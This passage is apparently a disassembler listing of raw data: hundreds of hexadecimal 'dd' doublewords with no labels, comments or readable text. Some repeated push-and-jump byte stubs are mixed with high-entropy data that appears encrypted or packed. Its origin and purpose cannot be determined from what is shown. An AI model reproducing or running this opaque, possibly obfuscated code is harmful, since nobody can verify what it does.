		dd 8090E906h, 7C68FFFAh, 0E906AE05h, 0FFFA8086h, 0AE068268h
		dd 807CE906h, 9368FFFAh, 0E906AE07h, 0FFFA8072h, 0AE08D068h
		dd 8068E906h, 0C168FFFAh, 0E906AE09h, 0FFFA805Eh, 0AE0B2868h
		dd 8054E906h, 8968FFFAh, 0E906AE0Ch, 0FFFA804Ah, 0AE0E8F68h
		dd 8040E906h, 8C68FFFAh, 0E906AE0Fh, 0FFFA8036h, 0E9CD574h
		dd 79CD88A5h, 0AFFBB2D6h, 9F2B6E04h, 0C85E1334h, 43E42E43h
		dd 7717B80Eh, 2143EC3Ah, 0D271D268h, 4D9F0F9Bh,	5D3FF3Bh
		dd 9887C5B6h, 0F09D5CFFh, 463F68B5h, 34CB0DD9h,	6C812238h
		dd 0C5BEFB98h, 0E0A9CC53h, 8B3E15Ah, 0A045A8D2h, 143FB600h
		dd 0C870538Fh, 0D5D11781h, 0F1B6009Fh, 0AD99991Ah, 4814771Bh
		dd 45h,	0EB5E7D3h, 54FAED8h, 0C711B600h, 0D380EB69h, 0C6100996h
		dd 247463E5h, 6AEC311Ah, 0B6008A2Ah, 3644ED46h,	1477655Ah
		dd 120BDh, 0EF194700h, 0B60095ABh, 960F0BBDh, 5AF5B600h
		dd 1F3EAF88h, 58D0C956h, 0EA1CBA53h, 0AF57D6AEh, 0CC1E57F5h
		dd 0CB6A3563h, 0DEC11D82h, 7FA8F5B0h, 98D57639h, 0ADE08162h
		dd 6407980Bh, 7C1F802Dh, 4DD29BBDh, 3927635Ch, 0FF567FBFh
		dd 4FB02921h, 0E13A6722h, 0C95FB1B7h, 2144AF58h, 0D271D268h
		dd 2795169Bh, 0DFC06E9Ch, 71AAF7B2h, 0D09A2127h, 0A4CB600h
		dd 0C2A00BB2h, 39C751FCh, 6A11ECFFh, 0DEB73D28h, 6E5DFF48h
		dd 0FB3F49C1h, 0C9B600AFh, 6E9C756Eh, 0AB5184DCh, 3E5D7EBCh
		dd 18F12A77h, 296C01E2h, 0EC2C5E84h, 0D6BCAB50h, 0CE14847Dh
		dd 0BD0944E5h, 8C3C7112h, 0EC7F4483h, 32552E8Dh, 19000012h
		dd 50F3377Eh, 7F206623h, 0A90A90D9h, 0D97AC085h, 2AB1F5B8h
		dd 0A7EA8B87h, 0D39EC063h, 148EC57h, 327B1A85h,	50EA70F4h
		dd 0B605D558h, 0FF47EC2Ah, 849DF25Eh, 2F0490DDh, 0A90AF036h
		dd 4F58C588h, 6E2746E9h, 0B0E812B8h, 0F3AF57E8h, 61CA1C55h
		dd 79A74D37h, 57E8CBCFh, 1A9EB9AFh, 0EB5E711h, 0AB38B2D8h
		dd 9DFBAB93h, 0B5C81E9Ah, 8FB6007Ch, 69E37FA4h,	4E348546h
		dd 0BD4BED97h, 0B6005679h, 0E5F5BE15h, 1477A909h, 11B9DBC4h
		dd 8FE67B78h, 0E3352EE9h, 0D351h, 5CFFEA00h, 71528815h
		dd 8F1098DDh, 0FC7EA3EEh, 0AF57DBA2h, 0FF2B6201h, 0A1FAB17Dh
		dd 1F9948FAh, 226B0AB5h, 32C57284h, 0D8C339B5h,	8A2AF350h
		dd 0DD6F9531h, 0AF5829DDh, 0C62C8CA7h, 323584h,	0E6240FB6h
		dd 0BFFA9778h, 0B50EAE79h, 0C08DAE11h, 0D7788268h, 0ADBCAAD0h
		dd 0D67B6482h, 0B1DF0593h, 91802C4Eh, 0A29AC167h, 47E84039h
		dd 54BF6B26h, 61077831h, 6928B28h, 120456BCh, 0B9C8408Fh
		dd 3D5EC157h, 61C14870h, 0E0C3EC80h, 11081Fh, 148EF00h
		dd 30751A85h, 662F49EAh, 96D37F20h, 0C38EAF10h,	59B9F847h
		dd 8E317538h, 0BA65A1ECh, 0EC57D39Ah, 22BA0049h, 0D78A8E38h
		dd 3278B605h, 0EA1CBA15h, 0AF57D6AEh, 0B27DBB94h, 0E54EDC91h
		dd 9CBB0F46h, 0F1155CFFh, 0D6F9314Bh, 60CBAF57h, 0ABCA5BC8h
		dd 5DFBA4E2h, 70538F14h, 0F8304AC2h, 0CAAF57D6h, 7F208861h
		dd 8E7195DCh, 22FA7EEh,	0D2187056h, 0D68B71A7h,	96A517F6h
		dd 27C3BCF9h, 3176E5h, 85E34CB6h, 8A624443h, 6ED547ADh
		dd 7D3457B8h, 84CD6F30h, 0A5E70DABh, 0B4327016h, 5DDE43ECh
		dd 0E7AACCFFh, 0D7AED80Eh, 0ADBADDD9h, 8C3E6482h, 0BADDDA8Ch
		dd 915BDD76h, 7FBBCD6Bh, 45BADDDAh, 42E14EEAh, 51F4DF0Bh
		dd 16829B18h, 296003ACh, 4CBB64FFh, 0B809AAEEh,	1029h
		dd 9A206910h, 0D5511439h, 387CE6Ah, 73B7F2A0h, 0A4E2AFD0h
		dd 0D7789ADFh, 83A30C9Ah, 0B5D778CEh, 6605AEFCh, 0D9039B2Fh
		dd 5D76BAFh, 341359B6h,	88155CFFh, 98DD7152h, 0A4E98A1Bh
		dd 0ADED1FCBh, 97AF57D6h, 9AB7CBCh, 0D7F214B2h,	0ADB60007h
		dd 4821640Ah, 0B1EB49F2h, 0ABA313B3h, 0B5514A8Bh, 0A87CB813h
		dd 7CA18ABCh, 0A87CBAFAh, 0B47DD6BCh, 8F70CAA6h, 4E2D1Fh
		dd 0E7F60000h, 81B9C3B5h, 43AF57D7h, 0B1CBFFE8h, 0B6002724h
		dd 0D29BBD1Eh, 42E2CDF9h, 51F4DF0Bh, 2777B3D5h,	0E24DB600h
		dd 1273A409h, 15FF397Ch, 26B5F3h, 0A20DABB6h, 800CA83h
		dd 0FAB60027h, 3558C751h, 0E7852E7Ch, 628001AEh, 9B00000Fh
		dd 0D80EB5E7h, 5D415AEh, 0A644EFB6h, 0D3571E3Dh, 0F49CD70h
		dd 29FD8C7Dh, 0A0EC8E7h, 0F8B60506h, 7039665Fh,	394367DCh
		dd 0BCB30201h, 14B268C3h, 0B301B6F2h, 7A38CBCh,	0B301C5C5h
		dd 494BFBCh, 9756F5DEh,	2475BAF7h, 3154FF4Bh, 0C2723B78h
		dd 8E31D098h, 0E8E21E53h, 18B056C2h, 18CEA7EFh,	3E7711F2h
		dd 185D6CFAh, 0C27C35Bh, 0CF7E41DCh, 9F6043E5h,	0EE9h
		dd 5AE0A9D0h, 951154F9h, 0C3470E2Ah, 33773260h,	64A2EF90h
		dd 1738DA9Fh, 0C363CC5Ah, 0F597388Eh, 0A6C56EBCh, 19C35BEFh
		dd 5D8ABEFh, 0F45399B6h, 57D75EA6h, 44FF5DAFh, 0D32C64A6h
		dd 3D16B605h, 0AF072689h, 8A3C8A62h, 0B605638Eh, 3303DB74h
		dd 0C061C215h, 0AD16948Dh, 0A923C78Eh, 55CE2190h, 0D7B4E4CAh
		dd 0A95DE656h, 0AD543C1Fh, 0FB2D06BCh, 0EC7D424Ch, 6EF05152h
		dd 5500000Eh, 842F7B32h, 0B31CAAEFh, 0E54EDC95h, 15BE0C49h
		dd 66ED3974h, 0D39EBF53h, 74AEC57h, 357C2083h, 662F4EF1h
		dd 64A64420h, 0B605D924h, 0BA73D81Eh, 0D6AEEA1Ch, 3394AF57h
		dd 33655E13h, 2380C96Ch, 0F1B8DCC7h, 3D4F7BACh,	0AF57D6FDh
		dd 63CC6CC7h, 2B6201C0h, 1E34ED32h, 2D4DD65Bh, 570BC360h
		dd 64CC07C7h, 159E156Bh, 0FC216C0Eh, 33B8B2ABh,	0A9C52E72h
		dd 0C25647ECh, 0DF607A56h, 8A39D12h, 0E7A60000h, 0B2D80EB5h
		dd 0D6B6F214h, 0A38CAF57h, 0D2CCF375h, 9DB6B605h, 4AE28669h
		dd 87218431h, 0F03D166Fh, 8EB71A7h, 0F502CD65h,	344FA570h
		dd 0C164CF5Bh, 0E6185288h, 0E248943Bh, 7F8DFF36h, 19F2F063h
		dd 0FD5F5BEDh, 0A25B604h, 0BE213DAEh, 5049D69Fh, 0FD060ED8h
		dd 1785B604h, 0EDCC7EACh, 0D7BCAD2Dh, 68954C7Ch, 0FC3FEC7Dh
		dd 0D7C03h, 8DC46300h, 0BCF99639h, 0EAA3C56Eh, 1A5FF35Ch
		dd 4F02238Ch, 0D53D7CFBh, 2ADF9B4h, 36992D60h, 68CB5F16h
		dd 0AE3E8CC5h, 0DA0E0ABCh, 0B6F4B605h, 9D5CFF89h, 57DCB5F0h
		dd 0B9E6AFCEh, 909AA01h, 12DFD21Dh, 7ECF8h, 5EA64300h
		dd 5DAF57D7h, 0D96389FFh, 0AF57D6E1h, 4A4E88A3h, 38AF57D7h
		dd 4680261Fh, 0B605D397h, 0AE620F49h, 0D48C4510h, 7591BA44h
		dd 64A2EB8Ah, 4CD198BBh, 34D269CBh, 0AD92B792h,	0A2A8DBCh
		dd 43E0A9CBh, 6098716Ah, 0EC7D03ABh, 0E2358E2Dh, 0C900000Ch
		dd 0A3E7AEh, 2F901653h,	59FA4009h, 892A7035h, 9A61A5E8h
		dd 571A3BD7h, 83CE70D3h, 0B1F89C07h, 0E2ABCA75h, 0E01AC0A4h
		dd 0B605DAA8h, 0FFF75C9Ah, 67F1155Ch, 1156E428h, 9B08A01Bh
		dd 84226B0Ah, 0D132771Bh, 0CDBEFAB3h, 65753EBDh, 12DF2989h
		dd 7446Ch, 30BAB700h, 98641EF6h, 36F127D8h, 7F893D86h
		dd 0B60611A5h, 0AD16B49Fh, 67224F8Eh, 0B208E13Ah, 16DA7211h
		dd 9594440Eh, 65E54A23h, 0B6065821h, 65813A9Ah,	0AE890823h
		dd 0B751FABCh, 0EC7C0D6Eh, 46028320h, 2D00000Ch, 5CC7430Ah
		dd 8B347237h
		dd 0BD66A4EDh, 0ED56D491h, 3E85014Ch, 0BBF6977Bh, 0EFA2C46Fh
		dd 1D54F85Bh, 4E072689h, 4CFE6CF8h, 0B605DB4Ch,	0FF4BF036h
		dd 5288155Ch, 7414D171h, 0CEA7F03Dh, 0B1D74861h, 4CEFB0F8h
		dd 0F8EE9805h, 8CD97117h, 0F767CA0Eh, 87901DF6h, 0F9F9BA11h
		dd 12DFCD0Dh, 69CE8h, 1CBA3300h, 57D6AEEAh, 7DBB94AFh
		dd 57D6B0EBh, 0F249EBAFh, 0D3BDB2D4h, 0AC87B605h, 0BFF6957Eh
		dd 0ECA5C86Bh, 2056C647h, 5D4A2E6h, 0DEB760B6h,	0ECA5C728h
		dd 964A64Ch, 0FBBCADDAh, 0BC57A850h, 0FA39EC7Ch, 0B9C09h
		dd 0ADE48300h, 0DC99B619h, 0A43E54Eh, 3A7F13BCh, 6F2243ECh
		dd 0F51D5CDBh, 228D1954h, 56F94D00h, 882B7F36h,	8E1EACE5h
		dd 0DBEE2A5Ch, 96D4B605h, 155CFFA9h, 0B5741788h, 5952DF96h
		dd 0CB30BA60h, 6AB08BAFh, 7267B74Fh, 6B2ECC17h,	72DB5ECDh
		dd 0C28BAAB1h, 3EE4D044h, 250312DFh, 24000001h,	88155CFFh
		dd 9ED77152h, 0F901811h, 26E1256Ch, 6F994DF6h, 0B5FFF600h
		dd 2C469C2h, 0B5FFF602h, 6E6C359Eh, 1477CD72h, 2C95h, 0B5E7AE00h
		dd 37A8E586h, 47635C15h, 4EA05h, 56F7D8B6h, 0C38AAA1Bh
		dd 818545EAh, 1DB60005h, 0F1EDEDB6h, 141477F8h,	0A2h, 155CFF2Fh
		dd 3B761788h, 470E2DF6h, 632A49DAh, 2DB2527h, 0A5C8AF58h
		dd 4FED5EECh, 0A97DA7Ch, 78823811h, 0B602A255h,	0BF4CC10Bh
		dd 2EA4E426h, 0B59EB602h, 0A036113Dh, 0B96DC608h, 22783556h
		dd 7BADE081h, 0F327DF9Eh, 9642C3E0h, 7D00000Ah,	0AC1793DAh
		dd 0DB44C287h, 0DB6F4BDh, 3DE62461h, 4ED5511Ch,	0B46E72Bh
		dd 3F7214BFh, 6D2448EBh, 9ED776D9h, 3C4E9C08h, 0B605DCFCh
		dd 0BA9B80C6h, 2D723B59h, 52F3BCFCh, 1661EB1Fh,	25A64444h
		dd 0B619E335h, 0C728DE97h, 0D97CEDA4h, 9E1A1390h, 59BA0F34h
		dd 0C0CBE3Ah, 0F6AF57D7h, 6D6A645Dh, 1286ED13h,	791C8315h
		dd 0DB4F4BFDh, 1A35AF57h, 23FC21h, 0D272FD49h, 55000004h
		dd 0D80EB5E7h, 0FFFECBAEh, 119EB9B5h, 1D1DAFD5h, 0E7B5FFFFh
		dd 2C6C9E4Ch, 16B5FFFFh, 296DFB3Dh, 45B5FFFFh, 5811349Fh
		dd 0DFBD9F8Eh, 94041875h, 0C92A763Fh, 0E0B4E4A9h, 147728F4h
		dd 1F613h, 5C63F500h, 108F1A4Dh, 0A6A18A2Eh, 0AF57D765h
		dd 994DF626h, 5D3786Fh,	0C5E14AB6h, 0B1CB719Fh,	0B605D379h
		dd 0E226E04Bh, 0A0B605D2h, 0DF7E2177h, 8CAF1096h, 97FFE724h
		dd 4B24A195h, 4CF725E6h, 52116C9Eh, 58F3BCADh, 7D4443A0h
		dd 0DF635ECh, 985h, 684CD6Ch, 71B5F09Dh, 0A7E3AACEh, 971356FCh
		dd 0C0460B2Ch, 0BBDC367Bh, 6F0FB0F6h, 193BE422h, 0CA69CA50h
		dd 45A70783h, 5DE0703h,	90BFFDB6h, 88155CFFh, 893D7417h
		dd 0EC016E4Fh, 0A2F6BA67h, 4CD57EC1h, 0DB6F2645h, 0DF8A8773h
		dd 1516612h, 0FFB90000h, 1788155Ch, 4F893D74h, 39AB7AABh
		dd 0EA50D85Bh, 964ECA0Ch, 0DE5E3F0Ch, 0BA68BC04h, 79BF1E20h
		dd 11B50EAEh, 0ED88F7h,	4CD17AB6h, 0ED8A8Ah, 0E44D26B6h
		dd 76C4FAD6h, 3A1D14h, 0BA260000h, 22763F59h, 5E8C3765h
		dd 4D12Ch, 5B4597B6h, 0A071B62h, 53FC0296h, 0E3080CCEh
		dd 0BEA4B5FFh, 42D42B3Ch, 0B2906A23h, 7CD74106h, 0C6CBA7B3h
		dd 0B9521477h, 0F5000000h, 0FB9D5CFFh, 0A34EB353h, 0B5AE470Fh
		dd 46802EDCh, 0AF58A642h, 68A0DA00h, 5AAF58A6h,	339018F1h
		dd 179CD172h, 0A47E8CBh, 345674A5h, 0AF58A5F4h,	6C3365CEh
		dd 822380C9h, 0EA1CAAE3h, 0AF58F8B4h, 0EE8D4CEFh, 0CF78CEA7h
		dd 0CF30D66Dh, 0AFB5E3AEh, 398321Dh, 8DAF10B6h,	0D43FEBC4h
		dd 98D576B3h, 97B81BAFh, 0FEBF2EDAh, 0E2C1F326h, 84861h
		dd 41082F00h, 70355AC5h, 0A6EF892Ah, 0D693BF60h, 34EEF50h
		dd 99793887h, 0CE71B5F8h, 0FAA5E1ACh, 2C97135Ah, 62FA4009h
		dd 0DF4A4EF8h, 0F238B605h, 135EFF55h, 40092C97h, 0D66A509Ah
		dd 0BA8ED81h, 5F16D812h, 0A28973A5h, 913559BAh,	7DE20D74h
		dd 0C2231C9Fh, 6942EFA6h, 743D60CFh, 9ED7762Fh,	29B8708h
		dd 0BAA20000h, 527D2430h, 0C86093D1h, 4066DD7Fh, 656A906h
		dd 73B09BB6h, 656ABEBh,	0C36CC7B6h, 0F12953F9h,	0D3B60656h
		dd 88643078h, 6F147156h, 22Ah, 0B30BAB0h, 9C14BFCh, 0D0ED850h
		dd 8EAF57E4h, 0D771952Eh, 0B605E072h, 82CF6F50h, 0F3927DA9h
		dd 8FA30CBAh, 0BA3465CAh, 0A2554A25h, 1DE731A8h, 0C3B93B2h
		dd 0BE0E4A56h, 2EE22660h, 77A0B606h, 0BF78A59Eh, 0C600A61Dh
		dd 0BCAE34A7h, 9116B29Dh, 0BFEC7C61h, 757837Ch,	1B3E0000h
		dd 0C66BD452h, 0FC9C0783h, 0A0CE71B5h, 5DFEA1E5h, 6C0D8A10h
		dd 72C885A6h, 0AEFCB1D1h, 982E6705h, 0C95D1437h, 3D7D8F5Dh
		dd 7B605E0h, 5CFF5AC1h,	6C0EF115h, 8B14F721h, 0A37CA1E8h
		dd 0BC65CA8Fh, 9C4AD79Ah, 57D72E6Ah, 0DF3B14AFh, 0D130BF60h
		dd 91B4BB64h, 0ACC122D8h, 0C55344E9h, 0D6E3DF7Fh, 670A12DFh
		dd 1D000001h, 88155CFFh, 0E93D7417h, 0A145FE5Eh, 0FFF5F867h
		dd 3C61CAB5h, 0FFF5FA3Ah, 0C38AA9B5h, 4246805Eh, 0B5FFF6h
		dd 0DD98B617h, 7B249150h, 45AEB4FCh, 0D7C06D28h, 1C9CD976h
		dd 0FCFEA7h, 0E71477CDh, 48h, 0EB5E738h, 4B089ED8h, 24549576h
		dd 0DFC06EF4h, 13FBF3BEh, 6FDF437Dh, 0D12C3A7Eh, 0B3B600ABh
		dd 0D3D31B98h, 0D0B600ABh, 0E9BAE7A2h, 35980548h, 0CCB1DF40h
		dd 3B3C8A44h, 0D5BEE2DBh, 0D524E4Ch, 0B2B51477h, 8E000000h
		dd 0F1155CFFh, 50EA6E0Eh, 0AF57D758h, 8028012Ah, 24E18223h
		dd 0CD524B0Eh, 42783154h, 2D8BC261h, 0F46E5BEh,	515F41BBh
		dd 9E01AF58h, 0BE61B7FEh, 0AA50D69Fh, 3D622B49h, 59FB4CECh
		dd 5C9EC4E2h, 0DAB311C3h, 293F7991h, 0B602FB06h, 4CB753FCh
		dd 5F40662Bh, 901BB33h,	0FBB602FBh, 0E13A6750h,	0C162CDB7h
		dd 9B555C8Ch, 5C5FF327h, 5F0E3h, 0F9B0D700h, 286D02ADh
		dd 5E173192h, 8ECB67C8h, 0BBF69738h, 41D1E06Fh,	76D96D20h
		dd 0A20D99D4h, 0D47FCB82h, 3AA2F8B1h, 0E2A2E620h, 5A60B605h
		dd 3959BAFDh, 0BAFE2F74h, 8D1954F5h, 0FC4A0322h, 0F45CFFD7h
		dd 72D1D6A1h, 8B2801CCh, 14FF7B1Ah, 0A4F53A7Fh,	58211E1Ah
		dd 20AAE4AFh, 0E41E5EB9h, 5FEBC4BDh, 40D4h, 5CFFF700h
		dd 74178815h, 0D75256F0h, 730AF57h, 7320812Eh, 0FED79EBEh
		dd 54CF0B1h, 2283E898h,	0EF347D1Bh, 0E556C5BEh,	0EE8F703Ch
		dd 8BAA75A3h, 76D224C2h, 4F8DE4C9h, 0BD068C2Ch,	12h, 155CFF98h
		dd 0D7474E88h, 46D5AF57h, 0FEB7D6DDh, 5CFF83A8h, 6E0EF115h
		dd 9123E1C6h, 8962D6D3h, 0F692F324h, 5C8A79BFh,	6EAAF01Ah
		dd 9503FD74h, 0ED19A212h, 5ED0A5Bh, 0AB5FF8B6h,	0DE6C2548h
		dd 129FD675h, 2B5D2B89h, 0B605ECEFh, 65817AD5h,	5D92BD3Fh
		dd 0BBA51CC0h, 43AFEB7Dh, 0BA95BCB4h, 50FDE60Ch, 446AAED8h
		dd 0FF58BCB4h, 6E0D9206h, 23658327h, 0BCB443E7h, 5C2672DDh
		dd 941950F3h, 0EC1AA113h, 822F6203h, 544D0021h,	4AF01EC4h
		dd 0B443F830h, 3761CABCh, 5C5E2A31h, 0B3D33CC3h, 5E918933h
		dd 0D873C35Ch, 0CF6942EFh, 0E9F21601h, 2FE5CE37h, 48F338Ch
		dd 0D3760000h, 8EA30C9Ah, 0B4D47FCBh, 6806A9FDh, 1536992Dh
		dd 3445C258h, 0AAF0BDDEh, 0E6246909h, 0D0561F3Dh, 185CC6Fh
		dd 50547A5h, 0FFB605E3h, 1CBA92B9h, 57D6AEEAh, 7DBB94AFh
		dd 4CDA93B2h, 9A1E3DA6h, 57D72860h, 58311AAFh, 652C4FD0h
		dd 8DC46738h
		dd 0F73F1F59h, 9C5ADE3Fh, 0F7BE64C0h, 0BAD865Fh, 0F3BC1998h
		dd 6F2646A9h, 8EC766C9h, 60A09C38h, 0ED6F12DFh,	1BED396Dh
		dd 0DC7EBA81h, 44h, 0EB5E767h, 2715AED8h, 44EFB600h, 561F3DA6h
		dd 26F036D0h, 90B3B600h, 55A74DD9h, 0B7D6BCBFh,	515EE4FEh
		dd 50F4BBFDh, 3547ED19h, 9D2B442Bh, 96923CCCh, 6CB60021h
		dd 88CD62C3h, 0CAC24320h, 0E5000003h, 0AEEA1CBAh, 0B0AF57D6h
		dd 57D71216h, 8747F0AFh, 80A30CACh, 0B2F79B04h,	57D71008h
		dd 6059F2AFh, 8AC362C3h, 92298B3Ch, 47E5CE74h, 6ABE286h
		dd 6BF73C15h, 57D6D9D1h, 9780ABAFh, 0F598C701h,	0C16AB5FFh
		dd 0F59A9A5Ch, 5D36B5FFh, 0CCEAC6D4h, 4D0D1477h, 16000000h
		dd 0D80EB5E7h, 54FAEh, 951A35B6h, 55155h, 783D52B6h, 81C46A3Bh
		dd 5BC4B11Ch, 36FF54DCh, 976E06Ah, 4086B1E4h, 46504CE8h
		dd 5D9F1477h, 75C38C93h, 8655E5E1h, 0E53D5605h,	6CACDE0Ch
		dd 56B600B0h, 0EB99BBFDh, 0A2000000h, 0AEEA1CBAh, 94AF57D6h
		dd 69F3E95Ah, 655EB6BFh, 80C96C33h, 8E8A3C5Ah, 74AF5837h
		dd 70EE5DDBh, 3778B0CAh, 0E14AAF58h, 0A47E8B7h,	1059FCA5h
		dd 3A731293h, 3C041AECh, 0FC9FAF58h, 288B71B5h,	43EC4C05h
		dd 43C46920h, 3ABC6AD1h, 0CF9A41DCh, 20CA6E87h,	7673E6h
		dd 0EE8A75B6h, 0C1F903A7h, 83B60075h, 0DDFE00A8h, 71AAF7BEh
		dd 1BB90298h, 0D7C07AA0h, 0ADBCAB17h, 0B354B63h, 0B9922003h
		dd 0CC81A20Dh, 34B4D57Eh, 0ABCD9692h, 0EAC36CBCh, 7EC9A73Eh
		dd 79CAE9ECh, 289h, 3A80C970h, 75B1F499h, 0A3E7AECAh, 93175200h
		dd 0C4420F30h, 0B7D83A7Fh, 6303ACFAh, 1537982Eh, 0C665CE5Ch
		dd 0B9A33B8Fh, 5E50B0Fh, 94B3F9B6h, 0ACDE5EFFh,	0AF57D76Ch
		dd 885A1737h, 8A70B6AFh, 0AECA0B29h, 8861BAE7h,	95DC7F20h
		dd 0B5E72A11h, 4FAED80Eh, 35B60005h, 5155951Ah,	6DB60005h
		dd 0D28B65F7h, 1AA703CBh, 0BCED327Bh, 35FE55C3h, 4AE6886Bh
		dd 1FDF229Fh, 53C5BE17h, 7729EBC7h, 0B53214h, 0FF150000h
		dd 5288155Ch, 0D7969234h, 0C36CAF57h, 0E4A9CA55h, 1078B4C6h
		dd 8177F2E6h, 5CB2B417h, 47AF587Ah, 76D96D24h, 0DFCF7FD7h
		dd 582BB98Fh, 0DB79C26Fh, 0D900BA60h, 0ABB600D1h, 13813A80h
		dd 9D3C8649h, 3B6CB1FCh, 9C91FDA3h, 0C9F507A3h,	5E7189C2h
		dd 162BF600h, 3C0742Bh,	0AD3D4F95h, 97BCAACBh, 84A50EBCh
		dd 0B1D27DC9h, 0CBA3CCFCh, 8E2DEC7Fh, 18C35h, 9DD47300h
		dd 0CC89A609h, 0FAB3D57Eh, 2A6F03ACh, 5F12339Ch, 0E52D4CCBh
		dd 12BD0944h, 46E93D70h, 78DB6F26h, 9E0E9CD5h, 0E5FE3A4Ch
		dd 86C4B605h, 135EFF99h, 0E9866997h, 80A30CACh,	0FF567DC9h
		dd 1788155Ch, 46E93D74h, 57B86E27h, 53307831h, 35D16ACAh
		dd 2F893h, 3C61CAB6h, 80F903Dh,	709E2C65h, 76A2EF8Fh, 2B803B1h
		dd 0A82241F8h, 9CBC27BCh, 0B5D748D5h, 6B9503FCh, 0A3C263C0h
		dd 7DEE45EAh, 0BC07B5B4h, 413DFC0Eh, 8523C350h,	50414743h
		dd 0ABEF19C3h, 99C35040h, 95032CBEh, 6920486Bh,	0C8694A70h
		dd 6A91385h, 65812E67h,	7C1CD97Ah, 53DC5C35h, 343B7831h
		dd 4A169Fh, 0E470C102h,	7A2573B2h, 0B31492DBh, 0FA0CBA01h
		dd 0C9F8661Fh, 3CE54AE5h, 52D35019h, 6B34793Ch,	6D2380C9h
		dd 0F31E9D06h, 0EA4A59DAh, 244AB551h, 0E4263C61h, 0C9F866A4h
		dd 5CDCB59Eh, 92957496h, 0C46FD0A0h, 0EC57C546h, 8E888C3Eh
		dd 597AD74Eh, 6D99723Bh, 6ABE282h, 7F208315h, 5AC974DCh
		dd 1CB7289h, 12319228h,	4C2DAF5Bh, 0C0370AE3h, 69F152C6h
		dd 0E09542BCh, 0FDBF60D5h, 9CB27312h, 6A43E0D9h, 8BC261CEh
		dd 0BB87D13Fh, 0FCB1D276h, 14172E2h, 0CD650897h, 4544FB16h
		dd 0B6FBD4CFh, 9F0441EDh, 0ABB27358h, 0DA45C188h, 0B1ADF2BBh
		dd 12856427h, 2F8979EAh, 10A0h,	1CBA7B00h, 57D6AEEAh, 4ABB94AFh
		dd 2131672Eh, 1158FF3Ah, 3970138Ch, 40092BF4h, 6D2042E3h
		dd 733E5FC0h, 99D4752Eh, 0A2E78B14h, 0CD84A47Dh, 0D792BF60h
		dd 1768FA4Ah, 89000001h, 0B268242Ch, 89000001h,	89522414h
		dd 4C281E2h, 83000000h,	148704EAh, 1C895C24h, 4EC8124h
		dd 89000000h, 0E7BF243Ch, 0BA60F276h, 0A5BB86A4h, 545FFA01h
		dd 83241C8Bh, 8F5204C4h, 1C8B0843h, 0E2895224h,	4C281h
		dd 0C2830000h, 24148704h, 2434FF5Ch, 4C4815Ah, 0E9000000h
		dd 0FFFA6C1Eh, 0EEC9817Fh, 4714745Dh, 9730996Dh, 3DB8F558h
		dd 306AE11h, 77E0FFC5h,	57550BE3h, 0B027F169h, 0D710BE6Eh
		dd 414B7E9Eh, 4837A71Fh, 0E91E6D14h, 24780CF8h,	0A30E1170h
		dd 0A920C186h, 4426EEEBh, 0F707E8D0h, 59571572h, 61585CE7h
		dd 0AE0240C5h, 0EE653612h, 743E2E6Dh, 0EF258737h, 0AA0DE7FAh
		dd 1653050Ch, 541A4BE1h, 0E076F0EFh, 7C571055h,	0DA70BBA5h
		dd 0E83EE4F7h, 0Fh, 0E2E81FB2h,	6DC55923h, 3B39FD1Fh, 66E9F754h
		dd 0A6CEF81h, 158D0F5Ah, 56000000h, 0EE9h, 0E0D2A900h
		dd 383034CAh, 0EB5B3A69h, 5FE4E412h, 5ADEC281h,	9B90000h
		dd 2B3FDE2Ch, 5820FDBh,	66000000h, 18D0F781h, 0B91A348Bh
		dd 12A266BDh, 30E2C681h, 0B8663D8Ah, 0EE819910h, 1821F36Ch
		dd 0FCE18166h, 0C7C68189h, 8A5ED43Ah, 1A3489C6h, 0CFE98166h
		dd 2C5CBFECh, 0EB835FBFh, 4B4B4B01h, 0BB79C8B9h, 0DCFB8138h
		dd 0FFFFFA5h, 1385h, 9A0ABF00h,	23E934DEh, 8F000000h, 5D590BB1h
		dd 0CFF529C5h, 9CD18166h, 0FF9AE9EBh, 6348FFFFh, 0AA1FA414h
		dd 6DBAD566h, 0DD6BF4Eh, 92E9B20Dh, 96000000h, 47264F63h
		dd 0F3BAF5CCh, 0D666D138h, 979FABAFh, 0E37C4DB2h, 720095B7h
		dd 0B5E9A9E5h, 609BB69Ch, 0A9B6F377h, 609EB794h, 897D60D7h
		dd 8C9EA9BDh, 0E3729EBDh, 204A95ACh, 7E9BB98Bh,	0B99D8993h
		dd 96AFF496h, 0B594A19Eh, 0FD91A7D6h, 0CC48D100h, 3C33594Ah
		dd 4D520071h, 5EF357DBh, 0BBEFB600h, 0BD899Dh, 0B69F8995h
		dd 97BBEFh, 0C3B1B6D0h,	527155h, 0C20DA437h, 0E0910D3h
		dd 5 dup(0)
		dd 10F4E900h, 6B680000h, 0E906AE15h, 0FFFA6A3Eh, 0AE166768h
		dd 6A34E906h, 7D68FFFAh, 0E906AE17h, 0FFFA6A2Ah, 0AE18EA68h
		dd 6A20E906h, 8368FFFAh, 0E906AE19h, 0FFFA6A16h, 0AE1A2768h
		dd 6A0CE906h, 0B768FFFAh, 0E906AE1Ah, 0FFFA6A02h, 0AE1B8F68h
		dd 69F8E906h, 8668FFFAh, 0E906AE1Ch, 0FFFA69EEh, 0AE1D4668h
		dd 69E4E906h, 3168FFFAh, 0E906AE1Eh, 0FFFA69DAh, 0AE1FAD68h
		dd 69D0E906h, 2068FFFAh, 0E906AE22h, 0FFFA69C6h, 0AE232968h
		dd 69BCE906h, 5FFAFFFAh, 22F9016h, 3860C347h, 0E48A3571h
		dd 99BA65A1h, 0A8C956D4h, 684C96Ah, 6AB0FD9Dh, 0A4E2ABC9h
		dd 951158FBh, 79B1CB11h, 4BB605EBh, 5CFF260Dh, 74178815h
		dd 36C01FDCh, 0A7875F16h, 0C95D365Fh, 1EA8DE7Eh, 0AF588E1Ah
		dd 7DA2EB89h, 9871DA2Ch, 8682C462h, 7CAF588Eh, 719F45D3h
		dd 9DF781CBh, 0A25C1367h, 58912018h, 36A8E2AFh,	0D18924EDh
		dd 6FF93F28h, 0B6003B00h, 0A0EB8E6h, 0F8B6003Bh, 1C37D95Fh
		dd 5C6CEEh, 4D090D1Ah, 0F47C12FEh, 0EAA83FEh, 0DF37419Dh
		dd 0B4BE9F63h, 90DDB5Dh, 0A5B60039h, 0B3F711BFh, 91B60038h
		dd 189972A6h, 77B02E1Ah, 5DFEE114h, 257A9810h, 0CD000000h
		dd 0D80EB5E7h, 7C3151B2h, 4D32A3Ch, 86B1B600h, 4D5D119h
		dd 1AF1B600h, 0F8AD9999h, 0CB481477h, 0D3000000h, 0F09D5CFFh
		dd 8B57DCB5h, 0D6DFDB6Dh, 4781AF57h, 0AF57D743h, 9AD41601h
